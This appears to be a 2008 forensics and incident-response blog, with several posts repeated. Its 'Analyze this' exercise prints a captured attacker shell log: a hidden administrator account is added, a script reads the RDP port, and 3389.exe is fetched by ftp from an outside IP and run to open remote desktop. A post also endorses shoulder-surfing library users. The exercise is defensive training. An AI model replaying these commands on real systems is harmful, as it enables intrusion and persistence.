Wednesday, January 30, 2008
E-evidence back on line
I was elated today when I checked my links and discovered that the e-evidence site was back online. This is one of the best resources available for our field. Apparently Christine had some hosting issues in December. There are a lot of updates and lots of new papers to read. There's also a new "links to blogs" section which I'm happy to see. Welcome back Christine!
Sunday, January 27, 2008
intelligence gathering
Not too long ago I was at a local Borders bookstore and had an urge to read something with a military background. I looked at books on tactics and books of historical value but I finally settled on something relatively current. I settled on the ARMY/Marines Counterinsurgency Field Manual. This book is of particular relevance to incident response and even forensics given the underground communities that often are encountered. I've taken a number of pages and dog-eared them and highlighted several sections so far. Perhaps one of the more interesting subjects is that of intelligence gathering. Intel gathering in COIN operations largely involves getting out and dealing with the population, earning their trust and respect and protecting them.
Since I'm just your average citizen - that is I don't walk around with a badge and gun, and I don't arrive in a black helicopter..I have the advantage of scoping out what's happening without drawing attention, which is to say I can shoulder surf much easier than some. I was at a public library recently picking up a book and as I was walking back to the circulation desk I passed through the public computing zone. There are common sayings in our society where advice is often given. I'd like to add a saying.. "If you want to gather intelligence on what software people may be using to conduct suspicious activities, shoulder surf at a public computing zone". I now a have a list of software to take a look at as a result.
Here's just a few applications I saw in use:
Idrive
wixi
meebo
Have you seen any interesting applications in use by people? Either during a case or during intel gathering? What are your favorite spots to gather intel?
Since I'm just your average citizen - that is I don't walk around with a badge and gun, and I don't arrive in a black helicopter..I have the advantage of scoping out what's happening without drawing attention, which is to say I can shoulder surf much easier than some. I was at a public library recently picking up a book and as I was walking back to the circulation desk I passed through the public computing zone. There are common sayings in our society where advice is often given. I'd like to add a saying.. "If you want to gather intelligence on what software people may be using to conduct suspicious activities, shoulder surf at a public computing zone". I now a have a list of software to take a look at as a result.
Here's just a few applications I saw in use:
Idrive
wixi
meebo
Have you seen any interesting applications in use by people? Either during a case or during intel gathering? What are your favorite spots to gather intel?
FTK 2.0
Last week I re-licensed my copy of AccessData's FTK and I'll be installing FTK 2.0 when it's released. With the new product being tied in to Oracle 10G, one must wonder..will the forensic processing box now be vulnerable to both Oracle and FTK introduced vulnerabilities? I must assume that the answer is of course yes. What does that mean for investigations? Must we now prove that the processing machine hasn't been compromised at the database level as well as the OS? Is there a way to prove the database integrity within the product?
If the 10G implementation is a full installation, this also creates a lot of powerful capabilities for case comparisons. Can we do some fuzzy matching from case to case to see how similar they are in attack methodology, and post intrusion activity? This could be pretty exciting as far as case comparisons go. Could one begin to profile attacks and groups responsible in this manner? I guess we'll see.
It may be even easier to do data presentation with a database backend now as well.
Let's not forget the other cool capabilities in the more expensive versions of FTK..like distributed processing of cases.
If the 10G implementation is a full installation, this also creates a lot of powerful capabilities for case comparisons. Can we do some fuzzy matching from case to case to see how similar they are in attack methodology, and post intrusion activity? This could be pretty exciting as far as case comparisons go. Could one begin to profile attacks and groups responsible in this manner? I guess we'll see.
It may be even easier to do data presentation with a database backend now as well.
Let's not forget the other cool capabilities in the more expensive versions of FTK..like distributed processing of cases.
Sunday, January 20, 2008
Analyze this
Some time ago I shared an intrusion analysis where the attack vector was the DNSRPC vulnerability. I've decided the trim this one down a bit to let you the reader tell me what you think is happening here.
You receive the following IDS alert on your cell phone early in the morning:
[**] [1:2123:3] ATTACK-RESPONSES Microsoft cmd.exe banner [**]
[Classification: Successful Administrator Privilege Gain] [Priority: 1]
01/20-07:46:11.052115 10.23.62.102:1100 -> 209.112.3.231:2518
TCP TTL:240 TOS:0x10 ID:0 IpLen:20 DgmLen:141
***AP*** Seq: 0xC475E121 Ack: 0xC0B32DBF Win: 0x440B TcpLen: 20
[Xref => http://cgi.nessus.org/plugins/dump.php3?id=11633]
After searching your network logs you discover the following:
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\WINDOWS\system32>ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 10.23.62.102
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.23.62.1
C:\WINDOWS\system32>net user tsinternetuser 112233!@#k. /add
The command completed successfully.
C:\WINDOWS\system32>net user tsinternetuser 112233!@#k.
The command completed successfully.
C:\WINDOWS\system32>net localgroup administrators tsinternetuser /add
The command completed successfully.
C:\WINDOWS\system32>
C:\WINDOWS\system32>echo Dim ReadComputerName >>3389port.vbs
C:\WINDOWS\system32>echo Set ReadComputerName=WScript.CreateObject("WScript.Shell") >>3389port.vbs
C:\WINDOWS\system32>echo Dim TSName,TSRegPath >>3389port.vbs
C:\WINDOWS\system32>echo TSRegPath="HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber" >>3389port.vbs
C:\WINDOWS\system32>echo TSName=ReadComputerName.RegRead(TSRegPath) >>3389port.vbs
C:\WINDOWS\system32>echo WScript.Echo(TSName) >>3389port.vbs
C:\WINDOWS\system32>cscript 3389port.vbs
Microsoft (R) Windows Script Host Version 5.6
Copyright (C) Microsoft Corporation 1996-2001. All rights reserved.
3389
C:\WINDOWS\system32>del 3389port.vbs
C:\WINDOWS\system32>ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 10.23.62.102
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.23.62.1
C:\WINDOWS\system32>query user
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
>administrator console 0 Active . 1/14/2008 9:08 AM
C:\WINDOWS\system32>echo open 116.2.149.117>>100.txt
C:\WINDOWS\system32>echo 123>>100.txt
C:\WINDOWS\system32>echo 123>>100.txt
C:\WINDOWS\system32>echo bin>>100.txt
C:\WINDOWS\system32>echo get 3389.exe>>100.txt
C:\WINDOWS\system32>echo bye>>100.txt
C:\WINDOWS\system32>ftp -s:100.txt
User (116.2.149.117:(none)): open 116.2.149.117
get 3389.exe
C:\WINDOWS\system32>del 100.txt
C:\WINDOWS\system32>3389 2289
Now opening terminate service...success!
OK...
C:\WINDOWS\system32>
Some questions:
Is the snort alert an indicator or a warning? Explain your reasoning.
Given the clues, how would you begin your investigation?
What do you think the attacker was trying to do?
What does 3389.vbs do?
What do you think 3389.exe does? (If you'd like a copy of it, email me)
You receive the following IDS alert on your cell phone early in the morning:
[**] [1:2123:3] ATTACK-RESPONSES Microsoft cmd.exe banner [**]
[Classification: Successful Administrator Privilege Gain] [Priority: 1]
01/20-07:46:11.052115 10.23.62.102:1100 -> 209.112.3.231:2518
TCP TTL:240 TOS:0x10 ID:0 IpLen:20 DgmLen:141
***AP*** Seq: 0xC475E121 Ack: 0xC0B32DBF Win: 0x440B TcpLen: 20
[Xref => http://cgi.nessus.org/plugins/dump.php3?id=11633]
After searching your network logs you discover the following:
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\WINDOWS\system32>ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 10.23.62.102
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.23.62.1
C:\WINDOWS\system32>net user tsinternetuser 112233!@#k. /add
The command completed successfully.
C:\WINDOWS\system32>net user tsinternetuser 112233!@#k.
The command completed successfully.
C:\WINDOWS\system32>net localgroup administrators tsinternetuser /add
The command completed successfully.
C:\WINDOWS\system32>
C:\WINDOWS\system32>echo Dim ReadComputerName >>3389port.vbs
C:\WINDOWS\system32>echo Set ReadComputerName=WScript.CreateObject("WScript.Shell") >>3389port.vbs
C:\WINDOWS\system32>echo Dim TSName,TSRegPath >>3389port.vbs
C:\WINDOWS\system32>echo TSRegPath="HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber" >>3389port.vbs
C:\WINDOWS\system32>echo TSName=ReadComputerName.RegRead(TSRegPath) >>3389port.vbs
C:\WINDOWS\system32>echo WScript.Echo(TSName) >>3389port.vbs
C:\WINDOWS\system32>cscript 3389port.vbs
Microsoft (R) Windows Script Host Version 5.6
Copyright (C) Microsoft Corporation 1996-2001. All rights reserved.
3389
C:\WINDOWS\system32>del 3389port.vbs
C:\WINDOWS\system32>ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 10.23.62.102
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.23.62.1
C:\WINDOWS\system32>query user
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
>administrator console 0 Active . 1/14/2008 9:08 AM
C:\WINDOWS\system32>echo open 116.2.149.117>>100.txt
C:\WINDOWS\system32>echo 123>>100.txt
C:\WINDOWS\system32>echo 123>>100.txt
C:\WINDOWS\system32>echo bin>>100.txt
C:\WINDOWS\system32>echo get 3389.exe>>100.txt
C:\WINDOWS\system32>echo bye>>100.txt
C:\WINDOWS\system32>ftp -s:100.txt
User (116.2.149.117:(none)): open 116.2.149.117
get 3389.exe
C:\WINDOWS\system32>del 100.txt
C:\WINDOWS\system32>3389 2289
Now opening terminate service...success!
OK...
C:\WINDOWS\system32>
Some questions:
Is the snort alert an indicator or a warning? Explain your reasoning.
Given the clues, how would you begin your investigation?
What do you think the attacker was trying to do?
What does 3389.vbs do?
What do you think 3389.exe does? (If you'd like a copy of it, email me)
Thursday, January 17, 2008
Which plug to pull?
For one reason or another I started thinking about pulling plugs tonight. I think this line of thought was actually inspired by Harlan's entry. As I was reading I started playing back some of the incidents I've responded to and I thought..."hmmmm now what factors go in to a decision to pull the plug, and which plug should be pulled".
Why do organizations rush to pull the power plug?
In my experiences it's due to a number of reasons - this is not exhaustive.
1) The environment is so dirty(lots of compromises) that pulling the plug is the safest move.
2) It's the traditional method, and it's been proven - so people are comforted by that fact.
3) Organizations haven't taken the time or effort to TRAIN their first responders or they just don't trust them enough.
4) Response time is so slow that the unfounded fear is that the volatile data will be lost before a trained responder can get to the system.
5) The environment is very sensitive and pulling the plug removes the possibility to lose sensitive data(more than they had already).
So then I started considering a few other points of interest. Suppose your network is monitored as in using netflow to collect "call records" or something more elaborate. Do you have enough information from a network log to remove the risk of losing data by pulling the network cable from the back of the affected system? Let's take a look at this shall we?
1) We can deduce which ports were open and those that were active until the network cable was pulled by evaluating network flow logs and system configuration after the fact.
If I have net flow logs that show traffic flowing to or from the system on say...port 445 I can say that port 445 was open, and listening and it had a connection to a remote host with IP a.b.c.d.
We can also reason that based on the system and the environment that certain ports are expected to be open. For instance, we know that a windows XP box will have a specific number of ports open and listening by default - unless there has been a configuration change to limit this or if software has been installed that changes this. In the case of the latter, we can obtain this information post mortem from the system or during an interview with a sysadmin.
2) If I pull the network cable I will lose data. This is true, but what am I losing? I will lose data from the output of maybe one tool that may or may not even return accurate information depending on the tool and if there is malware that prevents the accurate display of information. I may lose the specific point in time data related to the specific process that is running that is responsible for having an open socket and port. Have I lost the ability to analyze the executable? Have I lost the ability to analyze the system at a different point in time? If I have a Windows XP box on a domain can I expect the system behavior to be the same from day to day? Certainly there are variations that will occur (which domain controller authenticates the user for instance) but generally speaking the behavior of the system will be largely the same from day to day. Add some malware to the mix and what do you get? dynamic or static variance? By this I mean does the malware have a static footprint (it opens port 6669 and attempts to connect to ircX.foo.bar) that is the same between reboots, meaning that we have added a degree of variance but that variance will not itself change, or is it introduce a dynamic variance to the system (it chooses a different port each time and a different dns host between reboots), which is to say that it changes system behavior in a different way each time. This is tool marks all over again (opening a port and connecting to a dns host would be class characteristics, the specific ones would be individual characteristics). So to answer my own question have I lost the ability to analyze the system at a different point in time? No. Will system behavior be the same from day to day? Yes, this is due to the deterministic nature of computers.
Will the process stop running as a result of losing the network connection? Maybe, maybe not. But even if it does stop running can I determine this behavior of the malware after the fact? Yes I can.
What else do I lose? The one thing we lose without argument is the ability at that point in time to determine if sensitive data is leaving the network. Not if it has left or will leave, but if it is at that very moment in transit.
If we compare this to pulling the power cable, it seems like pulling the network cable is much more preferable and less damaging. So, let me codify this a bit.
Pull the network cable but not the power cable if:
So to clarify..what am I saying? Pull the network cable instead of the power cable unless your environment demands otherwise.
What are people's thoughts on this?
Why do organizations rush to pull the power plug?
In my experiences it's due to a number of reasons - this is not exhaustive.
1) The environment is so dirty(lots of compromises) that pulling the plug is the safest move.
2) It's the traditional method, and it's been proven - so people are comforted by that fact.
3) Organizations haven't taken the time or effort to TRAIN their first responders or they just don't trust them enough.
4) Response time is so slow that the unfounded fear is that the volatile data will be lost before a trained responder can get to the system.
5) The environment is very sensitive and pulling the plug removes the possibility to lose sensitive data(more than they had already).
So then I started considering a few other points of interest. Suppose your network is monitored as in using netflow to collect "call records" or something more elaborate. Do you have enough information from a network log to remove the risk of losing data by pulling the network cable from the back of the affected system? Let's take a look at this shall we?
1) We can deduce which ports were open and those that were active until the network cable was pulled by evaluating network flow logs and system configuration after the fact.
If I have net flow logs that show traffic flowing to or from the system on say...port 445 I can say that port 445 was open, and listening and it had a connection to a remote host with IP a.b.c.d.
We can also reason that based on the system and the environment that certain ports are expected to be open. For instance, we know that a windows XP box will have a specific number of ports open and listening by default - unless there has been a configuration change to limit this or if software has been installed that changes this. In the case of the latter, we can obtain this information post mortem from the system or during an interview with a sysadmin.
2) If I pull the network cable I will lose data. This is true, but what am I losing? I will lose data from the output of maybe one tool that may or may not even return accurate information depending on the tool and if there is malware that prevents the accurate display of information. I may lose the specific point in time data related to the specific process that is running that is responsible for having an open socket and port. Have I lost the ability to analyze the executable? Have I lost the ability to analyze the system at a different point in time? If I have a Windows XP box on a domain can I expect the system behavior to be the same from day to day? Certainly there are variations that will occur (which domain controller authenticates the user for instance) but generally speaking the behavior of the system will be largely the same from day to day. Add some malware to the mix and what do you get? dynamic or static variance? By this I mean does the malware have a static footprint (it opens port 6669 and attempts to connect to ircX.foo.bar) that is the same between reboots, meaning that we have added a degree of variance but that variance will not itself change, or is it introduce a dynamic variance to the system (it chooses a different port each time and a different dns host between reboots), which is to say that it changes system behavior in a different way each time. This is tool marks all over again (opening a port and connecting to a dns host would be class characteristics, the specific ones would be individual characteristics). So to answer my own question have I lost the ability to analyze the system at a different point in time? No. Will system behavior be the same from day to day? Yes, this is due to the deterministic nature of computers.
Will the process stop running as a result of losing the network connection? Maybe, maybe not. But even if it does stop running can I determine this behavior of the malware after the fact? Yes I can.
What else do I lose? The one thing we lose without argument is the ability at that point in time to determine if sensitive data is leaving the network. Not if it has left or will leave, but if it is at that very moment in transit.
If we compare this to pulling the power cable, it seems like pulling the network cable is much more preferable and less damaging. So, let me codify this a bit.
Pull the network cable but not the power cable if:
- Your environment has network logging at least at the session level.
- The system can sustain the loss of the network cable being pulled.
- Your environment demands this action.
- You've collected live response data.
So to clarify..what am I saying? Pull the network cable instead of the power cable unless your environment demands otherwise.
What are people's thoughts on this?
Tuesday, January 15, 2008
VirtualBox and forensics tools
I got a great question from Ted over at F3 about how to investigate a virtualbox virtual machine after the last entry.
As Ted pointed out, currently, forensics tools can't interpret a vdi file. Most can however work with a vmware vmdk file. As it turns out a vdi file isn't all that different truth be told. It looks like Innotek simply adds metadata to the disk image in the form of a header.
The required information (pay attention tool authors) is in VDICore.h in the OSE version of VirtualBox. It's located here in the unpacked tarball: src/VBox/Devices/Storage/VDICore.h The proper structs are available to parse the information.
For the investigators there are options....
1) Use vditool. It's available here. Be aware it's a 32bit binary and will not run on a 64bit system without some library configuration. **EDIT** I should point out that I had virtualbox installed on my system so the libraries were in the right place.
Here's some usage options.
hogfly@blackwootsy:/backups$ ~/vditool
vditool Copyright (c) 2004-2005 InnoTek Systemberatung GmbH.
Usage: vditool [Params]
Commands and params:
NEW Filename Mbytes - create new image;
DD Filename DDFilename - create new image from DD format image;
CONVERT Filename - convert VDI image from old format;
DUMP Filename - debug dump;
RESETGEO Filename - reset geometry information;
COPY FromImage ToImage - make image copy;
COPYDD FromImage DDFilename - make a DD copy of the image;
SHRINK Filename - optimize (reduce) VDI image size.
Ok sweet, this tool will do what we need it to do. Let's take a look at the .vdi and parse the header.
hogfly@blackwootsy:/backups$ ~/vditool DUMP 2Kbase.vdi
vditool Copyright (c) 2004-2005 InnoTek Systemberatung GmbH.
Dumping VDI image file="2Kbase.vdi" into the log file...
Log created: 2008-01-15T20:06:23.106689000Z
Executable: /home/hogfly/vditool
Arg[0]: /home/hogfly/vditool
Arg[1]: DUMP
Arg[2]: 2Kbase.vdi
--- Dumping VDI Disk, Images=1
Dumping VDI image "2Kbase.vdi" mode=r/o fOpen=1 File=00000003
Header: Version=00010001 Type=2 Flags=0 Size=10737418240
Header: cbBlock=1048576 cbBlockExtra=0 cBlocks=10240 cBlocksAllocated=10240
Header: offBlocks=512 offData=41472
Header: Geometry: C/H/S=20805/16/63 cbSector=512 Mode=3
Header: uuidCreation={8f8cc7fa-1538-4f2c-54ab-522e120fed0d}
Header: uuidModification={077a7a1f-9598-43f5-2189-1f3f5d105664}
Header: uuidParent={00000000-0000-0000-0000-000000000000}
Header: uuidParentModification={00000000-0000-0000-0000-000000000000}
Image: fFlags=00000000 offStartBlocks=512 offStartData=41472
Image: uBlockMask=000FFFFF uShiftIndex2Offset=20 uShiftOffset2Index=20 offStartBlockData=0
The operation completed successfully!
Some information:
Header Type=2 means this is a fixed disk. It's at offset 76 (0x4C). 1 is a dynamic disk. 2 is fixed.
Offset 344 supposedly indicates the offset location of the start of the data for the virtual machine. It's a 32bit int. In my case it's OffData=41472. This is the part I've bolded because I discovered the partition actually began at offset 73728. 41472 is where the MBR starts. This is important and I'll show why soon.
CHS info can be found: at offsets: 348,352,356
The uuid's containing data in my case begin at offset 392 and end at 423. These are created using libuuid. I've not yet figured out how to reverse the timestamp to unix epoch which is what they are representations of.
At this point we have more than enough information to get us started so we can analyze the image.
We can Mount the vdi for offline analysis in linux:
mount -t ntfs -o ro,noatime,noexec,loop,offset=73728 /backups/2Kbase.vdi /tmp/vdi
We now have a viable windows partition to look at.
hogfly@blackwootsy:/backups$ sudo ls /tmp/vdi
arcldr.exe CONFIG.SYS NTDETECT.COM System Volume Information
arcsetup.exe Documents and Settings ntldr WINNT
AUTOEXEC.BAT IO.SYS pagefile.sys
boot.ini MSDOS.SYS Program Files
3) In X-ways it's as easy as finding the partition.
4) One other way that's perhaps more portable is to use vditool to carve out the raw disk image. There are many ways to slice this one..but I'll use vditool.
hogfly@blackwootsy:/backups$ ~/vditool COPYDD 2Kbase.vdi 2Kbase.dd
vditool Copyright (c) 2004-2005 InnoTek Systemberatung GmbH.
Copying VDI image file="2Kbase.vdi" to DD file="2Kbase.dd"...
The operation completed successfully!
Ok, sweet now I have a dd copy of the vdi..but wait let's take a closer look.
hogfly@blackwootsy:/backups$ ls -l 2Kbase.*
-rw------- 1 hogfly hogfly 10737418240 2008-01-15 08:48 2Kbase.dd
-rw------- 1 hogfly hogfly 10737459712 2008-01-15 08:48 2Kbase.vdi
Go ahead and subtract the two image sizes..what do you get? How about 41472 which is the offset for the beginning of the data on my virtual disk.
Hopefully this helps someone when they have to analyze a VirtualBox virtual machine. Thanks for the question Ted.
As Ted pointed out, currently, forensics tools can't interpret a vdi file. Most can however work with a vmware vmdk file. As it turns out a vdi file isn't all that different truth be told. It looks like Innotek simply adds metadata to the disk image in the form of a header.
The required information (pay attention tool authors) is in VDICore.h in the OSE version of VirtualBox. It's located here in the unpacked tarball: src/VBox/Devices/Storage/VDICore.h The proper structs are available to parse the information.
For the investigators there are options....
1) Use vditool. It's available here. Be aware it's a 32bit binary and will not run on a 64bit system without some library configuration. **EDIT** I should point out that I had virtualbox installed on my system so the libraries were in the right place.
Here's some usage options.
hogfly@blackwootsy:/backups$ ~/vditool
vditool Copyright (c) 2004-2005 InnoTek Systemberatung GmbH.
Usage: vditool
Commands and params:
NEW Filename Mbytes - create new image;
DD Filename DDFilename - create new image from DD format image;
CONVERT Filename - convert VDI image from old format;
DUMP Filename - debug dump;
RESETGEO Filename - reset geometry information;
COPY FromImage ToImage - make image copy;
COPYDD FromImage DDFilename - make a DD copy of the image;
SHRINK Filename - optimize (reduce) VDI image size.
Ok sweet, this tool will do what we need it to do. Let's take a look at the .vdi and parse the header.
hogfly@blackwootsy:/backups$ ~/vditool DUMP 2Kbase.vdi
vditool Copyright (c) 2004-2005 InnoTek Systemberatung GmbH.
Dumping VDI image file="2Kbase.vdi" into the log file...
Log created: 2008-01-15T20:06:23.106689000Z
Executable: /home/hogfly/vditool
Arg[0]: /home/hogfly/vditool
Arg[1]: DUMP
Arg[2]: 2Kbase.vdi
--- Dumping VDI Disk, Images=1
Dumping VDI image "2Kbase.vdi" mode=r/o fOpen=1 File=00000003
Header: Version=00010001 Type=2 Flags=0 Size=10737418240
Header: cbBlock=1048576 cbBlockExtra=0 cBlocks=10240 cBlocksAllocated=10240
Header: offBlocks=512 offData=41472
Header: Geometry: C/H/S=20805/16/63 cbSector=512 Mode=3
Header: uuidCreation={8f8cc7fa-1538-4f2c-54ab-522e120fed0d}
Header: uuidModification={077a7a1f-9598-43f5-2189-1f3f5d105664}
Header: uuidParent={00000000-0000-0000-0000-000000000000}
Header: uuidParentModification={00000000-0000-0000-0000-000000000000}
Image: fFlags=00000000 offStartBlocks=512 offStartData=41472
Image: uBlockMask=000FFFFF uShiftIndex2Offset=20 uShiftOffset2Index=20 offStartBlockData=0
The operation completed successfully!
Some information:
Header Type=2 means this is a fixed disk. It's at offset 76 (0x4C). 1 is a dynamic disk. 2 is fixed.
Offset 344 supposedly indicates the offset location of the start of the data for the virtual machine. It's a 32bit int. In my case it's OffData=41472. This is the part I've bolded because I discovered the partition actually began at offset 73728. 41472 is where the MBR starts. This is important and I'll show why soon.
CHS info can be found: at offsets: 348,352,356
The uuid's containing data in my case begin at offset 392 and end at 423. These are created using libuuid. I've not yet figured out how to reverse the timestamp to unix epoch which is what they are representations of.
At this point we have more than enough information to get us started so we can analyze the image.
We can Mount the vdi for offline analysis in linux:
mount -t ntfs -o ro,noatime,noexec,loop,offset=73728 /backups/2Kbase.vdi /tmp/vdi
We now have a viable windows partition to look at.
hogfly@blackwootsy:/backups$ sudo ls /tmp/vdi
arcldr.exe CONFIG.SYS NTDETECT.COM System Volume Information
arcsetup.exe Documents and Settings ntldr WINNT
AUTOEXEC.BAT IO.SYS pagefile.sys
boot.ini MSDOS.SYS Program Files
3) In X-ways it's as easy as finding the partition.
4) One other way that's perhaps more portable is to use vditool to carve out the raw disk image. There are many ways to slice this one..but I'll use vditool.
hogfly@blackwootsy:/backups$ ~/vditool COPYDD 2Kbase.vdi 2Kbase.dd
vditool Copyright (c) 2004-2005 InnoTek Systemberatung GmbH.
Copying VDI image file="2Kbase.vdi" to DD file="2Kbase.dd"...
The operation completed successfully!
Ok, sweet now I have a dd copy of the vdi..but wait let's take a closer look.
hogfly@blackwootsy:/backups$ ls -l 2Kbase.*
-rw------- 1 hogfly hogfly 10737418240 2008-01-15 08:48 2Kbase.dd
-rw------- 1 hogfly hogfly 10737459712 2008-01-15 08:48 2Kbase.vdi
Go ahead and subtract the two image sizes..what do you get? How about 41472 which is the offset for the beginning of the data on my virtual disk.
Hopefully this helps someone when they have to analyze a VirtualBox virtual machine. Thanks for the question Ted.
Saturday, January 12, 2008
Moving to VirtualBox
Just this past week I started migrating my honeynet to VirtualBox after struggling with some performance issues using VMWare workstation 6. My honeynet is currently housing around 20 virtual machines running on an Ubuntu 7.10 x64 Server distribution.
VirtualBox has a pretty solid set of documentation available and they build for Ubuntu and a few other distributions so installation is pretty easy.
I added the following to my sources.list:
deb http://www.virtualbox.org/debian gutsy non-free
First I wanted to see what packages were available.
hogfly@maluminse:~$ sudo apt-cache search virtualbox
virtualbox-ose - PC virtualization solution
virtualbox-ose-modules-2.6.22-14-generic - virtualbox-ose modules for linux-image-2.6.22-14-generic
virtualbox-ose-modules-2.6.22-14-server - virtualbox-ose modules for linux-image-2.6.22-14-server
virtualbox-ose-source - Source for the VirtualBox module
virtualbox - innotek VirtualBox
Ok..so speaking from hindsight, don't install the -ose packages. You'll end up being short some VBox commands that came in to play for me (VBoxAddIF for instance).
Install was as simple as issuing the apt-get install virtualbox command.
Once installed I created a Windows XP virtual machine and initially left it configured to use NAT. Eventually I moved this to a Bridged interface setup giving the virtual machine direct network access.
To accomplish this I installed bridge-utils and set up a bridge.
hogfly@maluminse:~$ sudo brctl addbr vboxbr0
hogfly@maluminse:~$ sudo brctl addif vboxbr0 eth2
To add the virtual machine to the bridge I first needed to create the virtual host interface.
hogfly@maluminse:~$ sudo VBoxAddIF vbox0 hogfly vboxbr0
VirtualBox host networking interface creation utility, version 1.5.4
(C) 2005-2007 innotek GmbH
All rights reserved.
Creating the permanent host networking interface "vbox0" for user hogfly.
Now that I had the virtual host interface set up I simply added it to the bridge.
hogfly@maluminse:~$ sudo brctl addif vboxbr0 vbox0
After doing this I just gave the XP system an IP address, installed some software, shut it down and started cloning it.
Cloning a VM in VirtualBox is pretty easy. The command line utility is called VBoxManage. I've found this to be far superior to Vmware's vmrun command line utility.
To clone my XP base image I simply issued the following command:
VBoxManage clonevdi XPBASE.vdi /mnt/honeypots/vbox1/Hpot1.vdi After a few minutes, the disk image was copied and I was ready to do some configuration. First though I had to "create" the virtual machine. This is basically just a registration of the VM existence.
To do so I issued the following command:
hogfly@maluminse:~$ VBoxManage createvm -name gumby -register -basefolder /mnt/honeypots/vbox1/
VirtualBox Command Line Management Interface Version 1.5.4
(C) 2005-2007 innotek GmbH
All rights reserved.
Virtual machine 'gumby' is created and registered.
UUID: cd07351b-8428-4829-62b0-1e42d86dd5d9
Settings file: '/mnt/honeypots/vbox1/gumby/gumby.xml'
Now I can start it up if I so choose:
hogfly@maluminse:~$ VBoxManage startvm gumby
So far I'm happy with VirtualBox but we'll see how things progress.
VirtualBox has a pretty solid set of documentation available and they build for Ubuntu and a few other distributions so installation is pretty easy.
I added the following to my sources.list:
deb http://www.virtualbox.org/debian gutsy non-free
First I wanted to see what packages were available.
hogfly@maluminse:~$ sudo apt-cache search virtualbox
virtualbox-ose - PC virtualization solution
virtualbox-ose-modules-2.6.22-14-generic - virtualbox-ose modules for linux-image-2.6.22-14-generic
virtualbox-ose-modules-2.6.22-14-server - virtualbox-ose modules for linux-image-2.6.22-14-server
virtualbox-ose-source - Source for the VirtualBox module
virtualbox - innotek VirtualBox
Ok..so speaking from hindsight, don't install the -ose packages. You'll end up being short some VBox commands that came in to play for me (VBoxAddIF for instance).
Install was as simple as issuing the apt-get install virtualbox command.
Once installed I created a Windows XP virtual machine and initially left it configured to use NAT. Eventually I moved this to a Bridged interface setup giving the virtual machine direct network access.
To accomplish this I installed bridge-utils and set up a bridge.
hogfly@maluminse:~$ sudo brctl addbr vboxbr0
hogfly@maluminse:~$ sudo brctl addif vboxbr0 eth2
To add the virtual machine to the bridge I first needed to create the virtual host interface.
hogfly@maluminse:~$ sudo VBoxAddIF vbox0 hogfly vboxbr0
VirtualBox host networking interface creation utility, version 1.5.4
(C) 2005-2007 innotek GmbH
All rights reserved.
Creating the permanent host networking interface "vbox0" for user hogfly.
Now that I had the virtual host interface set up I simply added it to the bridge.
hogfly@maluminse:~$ sudo brctl addif vboxbr0 vbox0
After doing this I just gave the XP system an IP address, installed some software, shut it down and started cloning it.
Cloning a VM in VirtualBox is pretty easy. The command line utility is called VBoxManage. I've found this to be far superior to Vmware's vmrun command line utility.
To clone my XP base image I simply issued the following command:
VBoxManage clonevdi XPBASE.vdi /mnt/honeypots/vbox1/Hpot1.vdi After a few minutes, the disk image was copied and I was ready to do some configuration. First though I had to "create" the virtual machine. This is basically just a registration of the VM existence.
To do so I issued the following command:
hogfly@maluminse:~$ VBoxManage createvm -name gumby -register -basefolder /mnt/honeypots/vbox1/
VirtualBox Command Line Management Interface Version 1.5.4
(C) 2005-2007 innotek GmbH
All rights reserved.
Virtual machine 'gumby' is created and registered.
UUID: cd07351b-8428-4829-62b0-1e42d86dd5d9
Settings file: '/mnt/honeypots/vbox1/gumby/gumby.xml'
Now I can start it up if I so choose:
hogfly@maluminse:~$ VBoxManage startvm gumby
So far I'm happy with VirtualBox but we'll see how things progress.
Giving perspective to Incident Response
I was reading the news the other day and came across an article entitled 'San Antonio paramedic didn't check pulse before declaring wreck victim dead'. Naturally we only have a portion of the real story however when cases like this occur it puts Incident Response in to perspective.
1) We don't deal in life or death situations. We deal with computers. Granted, depending on the particular system it could create a life or death situation but generally speaking it's about a computer that someone somewhere views as "important" - more often than not because it's a revenue stream.
2) Not checking vital signs of a victim can lead to disastrous results. This points to a live response. At the very least, check the vitals of the victim system before you pull the plug and 'pronounce' them dead.
3) Never just pronounce the victim dead. Granted there are some situations where presumptions can be made pretty easily -but generally, paramedics don't do that, it's not their job. Their job is to save lives. The coroner or medical examiner pronounces. Incident Responders should not just pull the plug.
4) Even with years of experience, training can be forgotten in the heat of the moment. Living a life of 'trials by fire' can lead to overconfident and sloppy behavior that can result in poor performance when it matters most. Regardless of how busy you or your team are, make time to step back and review and refine procedures and policies.
5) Beware the fog of war. After long hours or during a particularly hectic scene the fog of war can be thick and hazardous. Situational awareness must be maintained.
6) Incidents occur because of multiple layers of failure. When incidents occur it's easy to point the finger at the lowest person on the totem pole, but rarely is the fault solely theirs.
7) It takes a catastrophe for change to occur. Sometimes it's not such a bad thing when executives get slapped in the face. Unfortunately this is what it takes to wake them up.
This case is a tragedy to be sure but there is always a lesson to be learned.
1) We don't deal in life or death situations. We deal with computers. Granted, depending on the particular system it could create a life or death situation but generally speaking it's about a computer that someone somewhere views as "important" - more often than not because it's a revenue stream.
2) Not checking vital signs of a victim can lead to disastrous results. This points to a live response. At the very least, check the vitals of the victim system before you pull the plug and 'pronounce' them dead.
